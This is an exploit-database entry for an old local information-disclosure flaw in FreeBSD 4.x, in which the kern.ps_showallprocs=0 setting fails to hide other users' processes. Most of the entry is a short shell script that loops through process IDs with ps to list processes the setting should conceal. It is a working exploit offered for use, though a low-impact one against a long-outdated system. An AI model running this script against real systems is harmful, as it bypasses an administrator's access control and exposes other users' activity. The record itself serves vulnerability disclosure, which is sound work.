FreeBSD 4.x - Process Concealment Bypass

Author: anonymous
type: local
platform: freebsd
port: 
date_added: 2002-05-18 
date_updated: 2012-09-22 
verified: 1 
codes: OSVDB-86921 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/4768/info

In FreeBSD, setting kern.ps_showallprocs=0 via the sysctl call is meant to disable normal users from seeing any running processes that are not owned by them. The current implementation of this feature fails to protest system process information.

It is still possible to obtain a list of processes from a procfs filesystem, or from specifying certain options to the 'ps' command.

#!/bin/sh
pid=0;
while x=0; do
/bin/ps -auxwwwp $pid | /usr/bin/grep $pid;
pid=`expr $pid + 1`;
done